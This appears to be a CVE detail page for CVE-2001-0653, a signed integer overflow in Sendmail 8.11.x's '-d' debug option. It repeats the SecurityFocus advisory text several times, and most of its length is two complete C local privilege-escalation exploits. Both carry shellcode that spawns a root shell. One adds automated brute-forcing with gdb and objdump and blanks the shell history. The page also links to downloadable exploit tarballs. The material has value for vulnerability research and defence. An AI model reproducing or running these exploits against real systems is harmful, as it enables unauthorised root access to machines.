CVE-2001-0653 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/3163/info An input validation error exists in Sendmail's debugging functionality. The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given. Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment. /* * alsou.c * * sendmail-8.11.x linux x86 exploit * * To use this exploit you should know two numbers: VECT and GOT. * Use gdb to find the first: * * $ gdb -q /usr/sbin/sendmail * (gdb) break tTflag * Breakpoint 1 at 0x8080629 * (gdb) r -d1-1.1 * Starting program: /usr/sbin/sendmail -d1-1.1 * * Breakpoint 1, 0x8080629 in tTflag () * (gdb) disassemble tTflag * ............. * 0x80806ea <tTflag+202>: dec %edi * 0x80806eb <tTflag+203>: mov %edi,0xfffffff8(%ebp) * 0x80806ee <tTflag+206>: jmp 0x80806f9 <tTflag+217> * 0x80806f0 <tTflag+208>: mov 0x80b21f4,%eax * ^^^^^^^^^^^^^^^^^^ address of VECT * 0x80806f5 <tTflag+213>: mov %bl,(%esi,%eax,1) * 0x80806f8 <tTflag+216>: inc %esi * 0x80806f9 <tTflag+217>: cmp 0xfffffff8(%ebp),%esi * 0x80806fc <tTflag+220>: jle 0x80806f0 <tTflag+208> * ............. * (gdb) x/x 0x80b21f4 * 0x80b21f4 <tTvect>: 0x080b9ae0 * ^^^^^^^^^^^^^ VECT * * Use objdump to find the second: * $ objdump -R /usr/sbin/sendmail |grep setuid * 0809e07c R_386_JUMP_SLOT setuid * ^^^^^^^^^ GOT * * Probably you should play with OFFSET to make exploit work. * * Constant values, written in this code found for sendmail-8.11.4 * on RedHat-6.2. For sendmail-8.11.0 on RedHat-6.2 try VECT = 0x080b9ae0 and * GOT = 0x0809e07c. * * To get r00t type ./alsou and then press Ctrl+C. * * * grange <[email protected]> * */ #include <sys/types.h> #include <stdlib.h> #define OFFSET 1000 #define VECT 0x080baf20 #define GOT 0x0809f544 #define NOPNUM 1024 char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; unsigned int get_esp() { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *egg, s[256], tmp[256], *av[3], *ev[2]; unsigned int got = GOT, vect = VECT, ret, first, last, i; egg = (char *)malloc(strlen(shellcode) + NOPNUM + 5); if (egg == NULL) { perror("malloc()"); exit(-1); } sprintf(egg, "EGG="); memset(egg + 4, 0x90, NOPNUM); sprintf(egg + 4 + NOPNUM, "%s", shellcode); ret = get_esp() + OFFSET; sprintf(s, "-d"); first = -vect - (0xffffffff - got + 1); last = first; while (ret) { i = ret & 0xff; sprintf(tmp, "%u-%u.%u-", first, last, i); strcat(s, tmp); last = ++first; ret = ret >> 8; } s[strlen(s) - 1] = '\0'; av[0] = "/usr/sbin/sendmail"; av[1] = s; av[2] = NULL; ev[0] = egg; ev[1] = NULL; execve(*av, av, ev); }

// source: https://www.securityfocus.com/bid/3163/info An input validation error exists in Sendmail's debugging functionality. The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given. Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment. /* * sendmail 8.11.x exploit (i386-Linux) by [email protected] (sd@ircnet) * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * fixed by Marcin Bukowski <[email protected]> * * <insect> I'll change, and fix this code requested by friend * for him * * -d specify depth of analysis (32) [bigger = more time] * -o change offset (-32000) [between 1000..-64000] * -v specify victim (/usr/sbin/sendmail) [suided binary] * -t specify temp directory (/tmp/.s11x) * * simply try to run an exploit without parameters * --------------------------------------------------------------- * */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <strings.h> #include <netinet/in.h> #include <sys/socket.h> #include <signal.h> #include <wait.h> #include <sys/stat.h> #define SM "/usr/sbin/sendmail" #define OBJDUMP "objdump" #define GDB "gdb" #define GREP "grep" #define COPYCMD "/bin/cp" #define RMCMD "/bin/rm" #define OURDIR "/tmp/.s11x" #define DLINE \ "%s -d %s 2> /dev/null | %s -B %d \ \"mov.*%%.l,(%%e..,%%e..,1)\" |\ %s \".mov.*0x80.*,%%e..\"" #define DLINEA OBJDUMP, vict, GREP, depth, GREP #define BRUTE_DLINE \ "%s -d %s 2> /dev/null | %s \ \".mov.*0x80.*,%%e..\"" #define BRUTE_DLINEA OBJDUMP, vict, GREP #define NOPLEN 32768 #define NOP 0x90 char shellcode[] = "\xeb\x0c\x5b\x31\xc0\x50\x89\xe1\x89" "\xe2\xb0\x0b\xcd\x80\xe8\xef\xff\xff\xff"; char scode[512]; char dvict[] = SM; struct target { uint off; uint brk; uint vect; }; unsigned int get_esp() { __asm__("movl %esp,%eax"); } char ourdir[256] = OURDIR; void giveup(int i) { char buf[256]; sprintf(buf, "%s -rf %s > /dev/null 2> /dev/null", RMCMD, ourdir); system(buf); // printf("[*] removing temp directory - %s\n", // ourdir); if (i >= 0) exit(i); } void sploit(char *victim, uint got, uint vect, uint ret) { unsigned char egg[sizeof(scode) + NOPLEN + 5]; char s[512] = "-d"; char *argv[3]; char *envp[2]; uint first, last, i; strcpy(egg, "EGG="); memset(egg + 4, NOP, NOPLEN); strcpy(egg + 4 + NOPLEN, scode); last = first = -vect - (0xffffffff - got + 1); while (ret) { char tmp[256]; i = ret & 0xff; sprintf(tmp, "%u-%u.%u-", first, last, i); strcat(s, tmp); last = ++first; ret = ret >> 8; } s[strlen(s) - 1] = 0; argv[0] = victim; argv[1] = s; argv[2] = NULL; envp[0] = egg; envp[1] = NULL; execve(victim, argv, envp); } int use(char *s) { printf("\n%s [command] [options]\n" "-h this help\n" "-d specify depth of analysis (32)\n" "-o change offset (-32000)\n" "-v specify victim (/usr/sbin/sendmail)\n" "-t specify temp directory (/tmp/.s11x)\n" "-b enables bruteforce (it can take 20-30 mins)\n", s); return 1; } int exploited = 0; void sigusr(int i) { exploited++; giveup(-1); } int main(int argc, char *argv[]) { char victim[256] = SM; char vict[256],gscr[256], path[256],d[256],buf[256]; struct stat st; FILE *f; struct target t[1024]; uint off,ep,l; int i,j,got,esp; int offset = -16384; int depth = 32; int brute = 0; if (!*argv) { dup2(2, 0); dup2(2, 1); setuid(0); setgid(0); kill(getppid(), SIGUSR1); printf( "------(*)>+== " "ENTERING ROOT SHELL" " ==+<(*)------" ); fflush(stdout); chdir("/"); setenv("PATH", "/bin:/usr/bin:/usr/local/bin:" "/sbin:/usr/sbin:/usr/local/sbin:" "/opt/bin:${PATH}",1); setenv("BASH_HISTORY", "/dev/null", 1); execl("/bin/bash", "-bash", NULL); } printf( " ------------------------------------------------\n" " Sendmail 8.11.x linux i386 exploit \n" " wroten by [email protected] [sd@ircnet], \n" " fixed by [email protected] \n" " ------------------------------------------------\n" " type \"%s -h\" to get help\n",argv[0] ); while ((i=getopt(argc,argv,"hd:o:v:t:b"))!=EOF){ switch (i) { case 'd': if ((!optarg)||(sscanf(optarg,"%d",&depth)!=1)) return use(argv[0]); break; case 'o': if ((!optarg)||(sscanf(optarg,"%d",&offset)!=1)) return use(argv[0]); break; case 'v': if (!optarg) return use(argv[0]); strcpy(victim,optarg); break; case 't': if (!optarg) return use(argv[0]); strcpy(ourdir, optarg); break; case 'b': brute++; break; case 'h': default: return use(argv[0]); } } if (brute) printf( "[*] brute force " "to 20-30mins\n"); path[0] = 0; if (argv[0][0] != '/') { getcwd(path, 256); } sprintf(scode, "%s%s/%s", shellcode, path, argv[0]); esp = get_esp(); close(0); signal(SIGUSR1, sigusr); giveup(-1); printf( " [Victim=%s][Depth=%d][Offset=%d]\n" " [Temp=%s][Offset=%d][ESP=0x%08x]\n", victim, depth, offset, ourdir, esp ); stat(victim, &st); if ((st.st_mode & S_ISUID) == 0) { printf("[!] Error: %s doesn't have SUID mode\n", victim); } if (access(victim, R_OK + X_OK + F_OK) < 0) { printf("[!] Error: %s must exist, have mode +rx\n", victim); } if (mkdir(ourdir, 0777) < 0) { perror("[!] Error: creating temporary directory\n"); giveup(1); } //printf("[*] creating temp directory - %s\n", // ourdir); sprintf(buf, "%s -R %s | %s setuid", OBJDUMP, victim, GREP); f = popen(buf, "r"); if (fscanf(f, "%x", &got) != 1) { pclose(f); printf("[!] Error: cannot get " "setuid() GOT\n"); giveup(1); } pclose(f); printf("[*] --> Step 1. setuid() " "[got=0x%08x]\n", got); sprintf(vict, "%s/sm", ourdir); printf("[*] --> Step 2. copy " "[%s->%s]\n", victim, vict); fflush(stdout); sprintf(buf, "%s -f %s %s", COPYCMD, victim, vict); system(buf); if (access(vict,R_OK+X_OK+F_OK)<0){ printf( "[!] Error: copy victim to out temp\n"); giveup(1); } printf( "[*] --> Step 3. disassm our " "[%s]\n", vict); fflush(stdout); if (!brute) { sprintf(buf,DLINE,DLINEA); } else { sprintf(buf,BRUTE_DLINE,BRUTE_DLINEA); } f = popen(buf, "r"); i = 0; while (fgets(buf,256,f)) { int k, dontadd=0; if (sscanf(buf, "%x: %s %s %s %s %s %s 0x%x,%s\n", &ep,d,d,d,d,d,d,&off,d)==9){ for (k=0;k<i;k++){ if (t[k].off==off) dontadd++; } if (!dontadd) { t[i].off = off; t[i++].brk = ep; } } } pclose(f); sprintf(gscr, "%s/gdb", ourdir); off = 0; for (j=0; j < i; j++) { f = fopen(gscr, "w+"); if (!f) { printf("[!] Error: Cannot create gdb script\n"); giveup(1); } fprintf(f, "break *0x%x\nr -d1-1.1\nx/x 0x%x\n", t[j].brk, t[j].off); fclose(f); sprintf(buf, "%s -batch -x %s %s 2> /dev/null", GDB, gscr, vict); f = popen(buf, "r"); if (!f) { printf("[!] Error: Failed to spawn gdb!\n"); giveup(1); } while (1) { char buf[256]; char *p; t[j].vect = 0; p = fgets(buf, 256, f); if (!p) break; if (sscanf(p,"0x%x %s 0x%x",&ep,d,&l)==3){ t[j].vect = l; off++; break; } } pclose(f); if (t[j].vect) { int pid; printf(" ++[%d/%d](%d%%) " "GOT=0x%08x,VECT=0x%08x," "OFF=%d\n", j, i, j*100/i, got, t[j].vect, offset); fflush(stdout); pid = fork(); if (pid == 0) { close(1); sploit(victim,got,t[j].vect,esp+offset); } wait(NULL); if (exploited) { wait(NULL); printf(" [-*-] We rule! BYE! [-*-]\n"); exit(0); } } } printf( "[!] ERROR: all targets failed," "probably not buggie\n"); giveup(1); }

source: https://www.securityfocus.com/bid/3163/info An input validation error exists in Sendmail's debugging functionality. The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given. Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21062.tar.gz

source: https://www.securityfocus.com/bid/3163/info An input validation error exists in Sendmail's debugging functionality. The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given. Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21063.tar.gz